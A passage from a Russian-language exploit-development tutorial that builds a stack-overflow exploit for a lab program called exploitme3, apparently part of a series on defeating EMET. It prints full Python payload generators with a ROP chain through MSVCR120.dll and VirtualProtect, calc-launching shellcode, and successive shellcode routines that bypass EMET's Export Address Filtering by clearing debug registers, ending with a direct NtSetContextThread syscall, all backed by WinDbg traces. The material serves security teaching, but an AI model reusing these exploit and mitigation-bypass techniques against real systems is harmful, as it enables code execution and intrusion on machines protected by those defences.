                "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
                "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
                "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
                "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
                "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
                "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
                "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
                "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
                "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
                "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
                "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
                "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
                "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
                "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
                "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
                "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
                "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
                "\x30\x03\xc6\xeb\xdd")
            disable_EAF = (
                "\x33\xC0" +         # xor    eax,eax
                "\x0F\x23\xC0" +     # mov    dr0,eax
                "\x0F\x23\xC8" +     # mov    dr1,eax
                "\x0F\x23\xD0" +     # mov    dr2,eax
                "\x0F\x23\xD8" +     # mov    dr3,eax
                "\x0F\x23\xF0" +     # mov    dr6,eax
                "\x0F\x23\xF8"       # mov    dr7,eax
            )
            code = disable_EAF + shellcode
            name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
            f.write(name)
    
    write_file(r'c:\deleteme\name.dat')
    Если запустим exploitme3, получим краш.

    Откроем его в WinDbg и нажмем F5 (Go). Выполнение остановится на Single Step Exception. Чтобы отключить это раздражающее исключение, можно попросить WinDbg игнорировать его, выполнив следующую команду:

    Code:
    sxd sse
    Где SSE означает Single Step Exception.

    После того, как мы снова нажмем F5, сгенерируется еще одно исключение, и мы узнаем наш код:

    Code:
    0034d64a 0f23c0          mov     dr0,eax      <-------------- exception generated here
    0034d64d 0f23c8          mov     dr1,eax
    0034d650 0f23d0          mov     dr2,eax
    0034d653 0f23d8          mov     dr3,eax
    0034d656 0f23f0          mov     dr6,eax
    0034d659 0f23f8          mov     dr7,eax
    Проблема здесь в том, что мы не можем изменять отладочные регистры в User Mode (Ring 3). Единственный способ сделать это, состоит в том, чтобы передать эту задачу ОС.


    Очистка отладочных регистров (2)

    Я загуглил по такой фразе "mov dr0 privileged instruction" и нашёл такую статью:
    www.symantec.com/connect/articles/windows-anti-debug-reference
    В ней можно найти способ модификации отладочных регистров. Он заключается в том, чтобы сначала определить обработчик исключений, а затем сгенерировать исключение (например, такое как деление на нуль). Когда произойдет исключение, Windows вызовет обработчик исключения и передаст ему указатель на структуру CONTEXT. Эта структура содержит значения регистров в момент, когда было сгенерировано исключение. Обработчик может модифицировать эти значения. После того, как он завершит свою работу, Windows распространит сделанные изменения на реальные регистры. Таким образом, мы можем изменить регистры отладки.

    Вот код из статьи:

    Code:
    push offset handler
    push dword ptr fs:[0]
    mov fs:[0],esp
    xor eax, eax
    div eax ;generate exception
    pop fs:[0]
    add esp, 4
    ;continue execution
    ;...
    handler:
    mov ecx, [esp+0Ch] ;skip div
    add dword ptr [ecx+0B8h], 2 ;skip div
    mov dword ptr [ecx+04h], 0 ;clean dr0
    mov dword ptr [ecx+08h], 0 ;clean dr1
    mov dword ptr [ecx+0Ch], 0 ;clean dr2
    mov dword ptr [ecx+10h], 0 ;clean dr3
    mov dword ptr [ecx+14h], 0 ;clean dr6
    mov dword ptr [ecx+18h], 0 ;clean dr7
    xor eax, eax
    ret
    А вот наш C/C++ код:

    Code:
    #include <Windows.h>
    #include <winnt.h>
    #include <stdio.h>
    
    int main() {
        CONTEXT context;
        printf("sizeof(context) = 0x%x\n", sizeof(context));
        printf("contextFlags offset = 0x%x\n", (int)&context.ContextFlags - (int)&context);
        printf("CONTEXT_DEBUG_REGISTERS = 0x%x\n", CONTEXT_DEBUG_REGISTERS);
        printf("EIP offset = 0x%x\n", (int)&context.Eip - (int)&context);
        printf("Dr0 offset = 0x%x\n", (int)&context.Dr0 - (int)&context);
        printf("Dr1 offset = 0x%x\n", (int)&context.Dr1 - (int)&context);
        printf("Dr2 offset = 0x%x\n", (int)&context.Dr2 - (int)&context);
        printf("Dr3 offset = 0x%x\n", (int)&context.Dr3 - (int)&context);
        printf("Dr6 offset = 0x%x\n", (int)&context.Dr6 - (int)&context);
        printf("Dr7 offset = 0x%x\n", (int)&context.Dr7 - (int)&context);
    
        _asm {
            // Attach handler to the exception handler chain.
            call    here
        here:
            add     dword ptr [esp], 0x22       // [esp] = handler
            push    dword ptr fs:[0]
            mov     fs:[0], esp
    
            // Generate the exception.
            xor     eax, eax
            div     eax
    
            // Restore the exception handler chain.
            pop     dword ptr fs:[0]
            add     esp, 4
            jmp     skip
    
        handler:
            mov     ecx, [esp + 0Ch]; skip div
            add     dword ptr [ecx + 0B8h], 2               // skip the "div eax" instruction
            xor     eax, eax
            mov     dword ptr [ecx + 04h], eax              // clean dr0
            mov     dword ptr [ecx + 08h], 0x11223344       // just for debugging!
            mov     dword ptr [ecx + 0Ch], eax              // clean dr2
            mov     dword ptr [ecx + 10h], eax              // clean dr3
            mov     dword ptr [ecx + 14h], eax              // clean dr6
            mov     dword ptr [ecx + 18h], eax              // clean dr7
            ret
        skip:
        }
    
        context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
        GetThreadContext(GetCurrentThread(), &context);
        if (context.Dr1 == 0x11223344)
            printf("Everything OK!\n");
        else
            printf("Something's wrong :(\n");
    
        return 0;
    }
    Первая часть отображает смещения для EIP и отладочных регистров. Это сделано для того, чтобы мы могли убедиться в том, что смещения в ASM-коде правильные. Дальше идет код. Обратите внимание, мы присваиваем значение 0x11223344 регистру DR1 только для тестирования. В конце мы используем GetThreadContext для проверки того, что наш метод работает.

    Эта программа не будет работать корректно, потому что SAFESEH.

    И действительно, Visual Studio дает нам следующее предупреждение:

    Code:
    1>c:\users\kiuhnm\documents\visual studio 2013\projects\tmp\tmp\tmp1.cpp(24): warning C4733: Inline asm assigning to 'FS:0' : handler not registered as safe handler
    Давайте отключим SAFESEH. Для этого перейдем в "Project => Properties" и изменим конфигурацию для Release, как показано ниже:
    • Configuration Properties => Linker => Advanced => Image Has Safe Exception Handlers: No (/SAFESEH:NO)
    Теперь программа должна работать корректно.

    У нас не будет проблем с SAFESEH, когда мы вставим этот код в наш шеллкод, потому что наш код будет на стеке, а не внутри образа (image) exploitme3.

    Вот Python скрипт для создания name.dat:

    Code:
    import struct
    
    # The signature of VirtualProtect is the following:
    #   BOOL WINAPI VirtualProtect(
    #     _In_   LPVOID lpAddress,
    #     _In_   SIZE_T dwSize,
    #     _In_   DWORD flNewProtect,
    #     _Out_  PDWORD lpflOldProtect
    #   );
    
    # After PUSHAD is executed, the stack looks like this:
    #   .
    #   .
    #   .
    #   EDI (ptr to ROP NOP (RETN))
    #   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
    #   EBP (ptr to POP (skips EAX on the stack))
    #   ESP (lpAddress (automatic))
    #   EBX (dwSize)
    #   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
    #   ECX (lpOldProtect (ptr to writeable address))
    #   EAX (address of ptr to VirtualProtect)
    # lpAddress:
    #   ptr to "call esp"
    #   <shellcode>
    
    msvcr120 = 0x73c60000
    
    # Delta used to fix the addresses based on the new base address of msvcr120.dll.
    md = msvcr120 - 0x70480000
    
    
    def create_rop_chain(code_size):
        rop_gadgets = [
          md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
          md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
          md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
          code_size,        # code_size -> ebx
          md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
          0x00000040,       # 0x00000040-> edx
          md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
          md + 0x705658f2,  # &Writable location [MSVCR120.dll]
          md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
          md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
          md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
          md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
          md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
          md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
          md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
          md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
        ]
        return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
    
    
    def write_file(file_path):
        with open(file_path, 'wb') as f:
            ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
            shellcode = (
                "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
                "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
                "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
                "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
                "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
                "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
                "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
                "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
                "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
                "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
                "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
                "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
                "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
                "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
                "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
                "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
                "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
                "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
                "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
                "\x30\x03\xc6\xeb\xdd")
            disable_EAF = (
                "\xE8\x00\x00\x00\x00" +            # call here (013E1008h)
            #here:
                "\x83\x04\x24\x22" +                # add dword ptr [esp],22h  ; [esp] = handler
                "\x64\xFF\x35\x00\x00\x00\x00" +    # push dword ptr fs:[0]
                "\x64\x89\x25\x00\x00\x00\x00" +    # mov dword ptr fs:[0],esp
                "\x33\xC0" +                        # xor eax,eax
                "\xF7\xF0" +                        # div eax,eax
                "\x64\x8F\x05\x00\x00\x00\x00" +    # pop dword ptr fs:[0]
                "\x83\xC4\x04" +                    # add esp,4
                "\xEB\x1A" +                        # jmp here+3Dh (013E1045h)  ; jmp skip
            #handler:
                "\x8B\x4C\x24\x0C" +                # mov ecx,dword ptr [esp+0Ch]
                "\x83\x81\xB8\x00\x00\x00\x02" +    # add dword ptr [ecx+0B8h],2
                "\x33\xC0" +                        # xor eax,eax
                "\x89\x41\x04" +                    # mov dword ptr [ecx+4],eax
                "\x89\x41\x08" +                    # mov dword ptr [ecx+8],eax
                "\x89\x41\x0C" +                    # mov dword ptr [ecx+0Ch],eax
                "\x89\x41\x10" +                    # mov dword ptr [ecx+10h],eax
                "\x89\x41\x14" +                    # mov dword ptr [ecx+14h],eax
                "\x89\x41\x18" +                    # mov dword ptr [ecx+18h],eax
                "\xC3"                              # ret
            #skip:
            )
            code = disable_EAF + shellcode
            name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
            f.write(name)
    
    write_file(r'c:\deleteme\name.dat')
    Если запустим explitme3, получим краш. Возможно мы что-то сделали не так?

    Давайте отладим программу в WinDbg. Откройте exploitme3.exe в WinDbg и нажмите F5 (Go). Получив знакомое исключение (Single Step Exception), введите команду sxd sse и снова нажмите F5. Как и ожидалось, мы получим исключение, вызванное делением на нуль:

    Code:
    (610.a58): Integer divide-by-zero - code c0000094 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000000 ebx=0000017c ecx=89dd0000 edx=0021ddb8 esi=73c73a17 edi=73c6f607
    eip=0015d869 esp=0015d844 ebp=73d451a4 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
    0015d869 f7f0            div     eax,eax
    Это First-chance Exception, поэтому если мы нажмем F5 (Go) снова, оно будет передано в программу.

    Code:
    0:000> !exchain
    0015d844: 0015d877
    0015ff50: exploitme3!_except_handler4+0 (00381739)
      CRT scope  0, filter: exploitme3!__tmainCRTStartup+115 (003812ca)
                    func:   exploitme3!__tmainCRTStartup+129 (003812de)
    0015ff9c: ntdll!_except_handler4+0 (76f071f5)
      CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (76f074d0)
                    func:   ntdll!__RtlUserThreadStart+63 (76f090eb)
    Все кажется правильно!

    После того как нажмем F5 (Go), мы попадем сюда:

    Code:
    (610.a58): Integer divide-by-zero - code c0000094 (!!! second chance !!!)
    eax=00000000 ebx=0000017c ecx=89dd0000 edx=0021ddb8 esi=73c73a17 edi=73c6f607
    eip=0015d869 esp=0015d844 ebp=73d451a4 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
    0015d869 f7f0            div     eax,eax
    Почему программа не обрабатывает исключение? Причина в SafeSEH!

    Я забыл, что для обработчика недостаточно находиться в модуле без SafeSEH: он вообще не должен быть в стеке!


    Очистка отладочных регистров (3)

    SafeSEH может быть обойден, но, вероятно, не без помощи некоторых жестко заданных адресов, которые помогут его победить.

    Нужно еще добавить, что если бы мы не зарезервировали больше памяти в стеке, путем выделения там массива moreStack (см. начальный код программы на C/C++), то наш шеллкод перезаписал бы цепочку обработчиков исключений и таким образом, SEHOP, все равно остановил его. SEHOP проверяет, что цепочка обработчиков исключений заканчивается на ntdll!_except_handler4. Мы не можем восстановить эту цепочку, если не знаем адрес этого обработчика. Поэтому данный путь не является жизнеспособным.

    Другой способ очистить отладочные регистры состоит в использовании kernel32!SetThreadContext. То что у нас нет адреса этой функции, не значит что мы должны сдаваться. Мы знаем, что SetThreadContext не может очищать отладочные регистры в User Mode, поэтому, в какой-то момент, для этой цели, она должна вызвать какой-то Ring 0 сервис.

    Ring 0 сервис обычно вызывается через прерывания или специфические инструкции процессора, такие как SYSENTER (Intel) и SYSCALL (AMD). К счастью для нас, эти сервисы обычно определяются небольшими константами, которые жестко прописаны в ОС и таким образом не меняются после перезагрузки и даже после выхода новых сервис паков.

    Давайте начнем с написания небольшой программы на C/C++:

    Code:
    #include <Windows.h>
    #include <stdio.h>
    
    int main() {
        CONTEXT context;
        context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
        context.Dr0 = 0;
        context.Dr1 = 0;
        context.Dr2 = 0;
        context.Dr3 = 0;
        context.Dr6 = 0;
        context.Dr7 = 0;
    
        if (!SetThreadContext(GetCurrentThread(), &context))
            printf("Error!\n");
        else
            printf("OK!\n");
    
        return 0;
    }
    Теперь отладим её с помощью WinDbg. Поставьте брейкпойнт на kernel32!SetThreadContext и нажмите F5 (Go). Функция SetThreadContext очень короткая:

    Code:
    kernel32!SetThreadContext:
    764358d3 8bff            mov     edi,edi
    764358d5 55              push    ebp
    764358d6 8bec            mov     ebp,esp
    764358d8 ff750c          push    dword ptr [ebp+0Ch]      <--------- 002df954 = &context
    764358db ff7508          push    dword ptr [ebp+8]        <--------- 0xfffffffe = GetCurrentThread()
    764358de ff15f8013b76    call    dword ptr [kernel32!_imp__NtSetContextThread (763b01f8)]
    764358e4 85c0            test    eax,eax
    764358e6 7d0a            jge     kernel32!SetThreadContext+0x1f (764358f2)
    764358e8 50              push    eax
    764358e9 e846bdf7ff      call    kernel32!BaseSetLastNTError (763b1634)
    764358ee 33c0            xor     eax,eax
    764358f0 eb03            jmp     kernel32!SetThreadContext+0x22 (764358f5)
    764358f2 33c0            xor     eax,eax
    764358f4 40              inc     eax
    764358f5 5d              pop     ebp
    764358f6 c20800          ret     8
    Обратите внимание, в первый вызов передается два параметра. Давайте зайдем внутрь этого вызова:

    Code:
    ntdll!ZwSetBootOptions:
    76eb1908 b84f010000      mov     eax,14Fh
    76eb190d 33c9            xor     ecx,ecx
    76eb190f 8d542404        lea     edx,[esp+4]
    76eb1913 64ff15c0000000  call    dword ptr fs:[0C0h]
    76eb191a 83c404          add     esp,4
    76eb191d c20800          ret     8
    ntdll!ZwSetContextThread:         <------------------------ we are here!
    76eb1920 b850010000      mov     eax,150h
    76eb1925 33c9            xor     ecx,ecx
    76eb1927 8d542404        lea     edx,[esp+4]
    76eb192b 64ff15c0000000  call    dword ptr fs:[0C0h]
    76eb1932 83c404          add     esp,4
    76eb1935 c20800          ret     8
    ntdll!NtSetDebugFilterState:
    76eb1938 b851010000      mov     eax,151h
    76eb193d b90a000000      mov     ecx,0Ah
    76eb1942 8d542404        lea     edx,[esp+4]
    76eb1946 64ff15c0000000  call    dword ptr fs:[0C0h]
    76eb194d 83c404          add     esp,4
    76eb1950 c20c00          ret     0Ch
    76eb1953 90              nop
    Это кажется очень интересным! Что это за вызов? Выше и ниже мы видим другие похожие функции с разными значениями для регистра EAX. EAX может быть номером сервиса. Значение в RET инструкции зависит от количества аргументов, конечно.

    Заметьте, что EDX будет указывать на два аргумента в стеке:

    Code:
    0:000> dd edx L2
    002df93c  fffffffe 002df954
    Давайте зайдем в этот вызов:

    Code:
    747e2320 ea1e277e743300  jmp     0033:747E271E
    Far Jump: как интересно! Когда мы зайдем в этот вызов, обнаружим, что мы оказались сразу после инструкции CALL.

    Code:
    ntdll!ZwQueryInformationProcess:
      76eafad8 b816000000      mov     eax,16h
      76eafadd 33c9            xor     ecx,ecx
      76eafadf 8d542404        lea     edx,[esp+4]
      76eafae3 64ff15c0000000  call    dword ptr fs:[0C0h]
      76eafaea 83c404          add     esp,4      <--------------------- we are here!
      76eafaed c21400          ret     14h
    Почему это происходит и каково назначение этого Far Jump? Возможно он используется для перехода на 64-битный код? Повторив весь процесс в 64-битной версии WinDbg, мы узнаем, что этот джамп приведет нас сюда:

    Code:
    wow64cpu!CpupReturnFromSimulatedCode:
    00000000`747e271e 67448b0424      mov     r8d,dword ptr [esp] ds:00000000`0037f994=76eb1932
    00000000`747e2723 458985bc000000  mov     dword ptr [r13+0BCh],r8d
    00000000`747e272a 4189a5c8000000  mov     dword ptr [r13+0C8h],esp
    00000000`747e2731 498ba42480140000 mov     rsp,qword ptr [r12+1480h]
    00000000`747e2739 4983a4248014000000 and   qword ptr [r12+1480h],0
    00000000`747e2742 448bda          mov     r11d,edx
    Мы были правы! Если мы продолжим идти по коду, то дойдем до следующего вызова:

    Code:
    00000000`747e276e 8bc8            mov     ecx,eax
    00000000`747e2770 ff150ae9ffff    call    qword ptr [wow64cpu!_imp_Wow64SystemServiceEx (00000000`747e1080)]
    Заметьте, что ECX равен 150, наш номер сервиса. Нам не нужно идти так глубоко. В любом случае, мы достигнем этого кода:

    Code:
    ntdll!NtSetInformationThread:
    00000000`76d01380 4c8bd1          mov     r10,rcx
    00000000`76d01383 b80a000000      mov     eax,0Ah
    00000000`76d01388 0f05            syscall
    00000000`76d0138a c3              ret
    Итак, в вызове Ring 0 сервиса участвует два перехода:
    1. из 32-битного кода (Ring 3) в 64-битный код (Ring 3)
    2. из 64-битного кода (Ring 3) в 64-битный код (Ring 0)
    Но нам не нужно иметь дело со всем этим. Всё что нам нужно сделать это:
    1. Установить EAX = 0x150
    2. Очистить ECX
    3. Сделать так, чтобы EDX указывал на наши аргументы
    4. Вызывать код указывающий на fs:[0C0h]
    Как можно видеть, этот код не подвержен ASLR.

    Теперь мы наконец-то можем написать код для очистки отладочных регистров:

    Code:
    mov     eax, 150h
    xor     ecx, ecx
    sub     esp, 2cch                       ; makes space for CONTEXT
    mov     dword ptr [esp], 10010h         ; CONTEXT_DEBUG_REGISTERS
    mov     dword ptr [esp + 4], ecx        ; context.Dr0 = 0
    mov     dword ptr [esp + 8], ecx        ; context.Dr1 = 0
    mov     dword ptr [esp + 0ch], ecx      ; context.Dr2 = 0
    mov     dword ptr [esp + 10h], ecx      ; context.Dr3 = 0
    mov     dword ptr [esp + 14h], ecx      ; context.Dr6 = 0
    mov     dword ptr [esp + 18h], ecx      ; context.Dr7 = 0
    push    esp
    push    0fffffffeh                      ; current thread
    mov     edx, esp
    call    dword ptr fs : [0C0h]           ; this also decrements ESP by 4
    add     esp, 4 + 2cch + 8
    В конце кода, мы восстанавливаем ESP, но это не является строго необходимым.

    Вот полный скрипт на Питоне:

    Code:
    import struct
    
    # The signature of VirtualProtect is the following:
    #   BOOL WINAPI VirtualProtect(
    #     _In_   LPVOID lpAddress,
    #     _In_   SIZE_T dwSize,
    #     _In_   DWORD flNewProtect,
    #     _Out_  PDWORD lpflOldProtect
    #   );
    
    # After PUSHAD is executed, the stack looks like this:
    #   .
    #   .
    #   .
    #   EDI (ptr to ROP NOP (RETN))
    #   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
    #   EBP (ptr to POP (skips EAX on the stack))
    #   ESP (lpAddress (automatic))
    #   EBX (dwSize)
    #   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
    #   ECX (lpOldProtect (ptr to writeable address))
    #   EAX (address of ptr to VirtualProtect)
    # lpAddress:
    #   ptr to "call esp"
    #   <shellcode>
    
    msvcr120 = 0x73c60000
    
    # Delta used to fix the addresses based on the new base address of msvcr120.dll.
    md = msvcr120 - 0x70480000
    
    
    def create_rop_chain(code_size):
        rop_gadgets = [
          md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
          md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
          md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
          code_size,        # code_size -> ebx
          md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
          0x00000040,       # 0x00000040-> edx
          md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
          md + 0x705658f2,  # &Writable location [MSVCR120.dll]
          md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
          md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
          md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
          md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
          md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
          md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
          md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
          md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
        ]
        return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
    
    
    def write_file(file_path):
        with open(file_path, 'wb') as f:
            ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
            shellcode = (
                "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
                "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
                "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
                "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
                "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
                "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
                "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
                "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
                "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
                "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
                "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
                "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
                "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
                "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
                "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
                "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
                "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
                "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
                "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
                "\x30\x03\xc6\xeb\xdd")
            disable_EAF = (
                "\xB8\x50\x01\x00\x00" +            # mov    eax,150h
                "\x33\xC9" +                        # xor    ecx,ecx
                "\x81\xEC\xCC\x02\x00\x00" +        # sub    esp,2CCh
                "\xC7\x04\x24\x10\x00\x01\x00" +    # mov    dword ptr [esp],10010h
                "\x89\x4C\x24\x04" +                # mov    dword ptr [esp+4],ecx
                "\x89\x4C\x24\x08" +                # mov    dword ptr [esp+8],ecx
                "\x89\x4C\x24\x0C" +                # mov    dword ptr [esp+0Ch],ecx
                "\x89\x4C\x24\x10" +                # mov    dword ptr [esp+10h],ecx
                "\x89\x4C\x24\x14" +                # mov    dword ptr [esp+14h],ecx
                "\x89\x4C\x24\x18" +                # mov    dword ptr [esp+18h],ecx
                "\x54" +                            # push   esp
                "\x6A\xFE" +                        # push   0FFFFFFFEh
                "\x8B\xD4" +                        # mov    edx,esp
                "\x64\xFF\x15\xC0\x00\x00\x00" +    # call   dword ptr fs:[0C0h]
                "\x81\xC4\xD8\x02\x00\x00"          # add    esp,2D8h
            )
            code = disable_EAF + shellcode
            name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
            f.write(name)
    
    write_file(r'c:\deleteme\name.dat')
    Если запустим exploitme3.exe, появится калькулятор! Мы обошли EAF! Можно так же включить EAF+, ничего не изменится.


    MemProt

    В нашем эксплойте мы используем VirtualProtect, чтобы сделать участок стека, где лежит шеллкод, исполняемым. Чтобы этому воспрепятствовать в EMET реализована техника MemProt. Давайте включим её для exploitme3.exe и попробуем запустить эту программу снова. Как и ожидалось, MemProt остановит выполнение нашего шеллкода и exploitme3 вызовет краш.

    Давайте посмотрим на работу программы в отладчике и выясним, что же там такое происходит. Откройте exploitme3.exe в WinDbg и поставьте брейкпойнт на exploitme3!f. После срабатывания брейкпойнта, пройдите через весь код функции f до инструкции RET. После её выполнения мы попадем на наш ROP-код. Продолжайте идти дальше, до тех пор, пока вы не дойдете до перехода (jmp) на VirtualProtect.

    Здесь мы видим что-то странное:

    Code:
    kernel32!VirtualProtectStub:
    763b4327 e984c1b5c0      jmp     36f104b0     <------------------ is this a hook?
    763b432c 5d              pop     ebp
    763b432d e996cdffff      jmp     kernel32!VirtualProtect (763b10c8)
    763b4332 8b0e            mov     ecx,dword ptr [esi]
    763b4334 8908            mov     dword ptr [eax],ecx
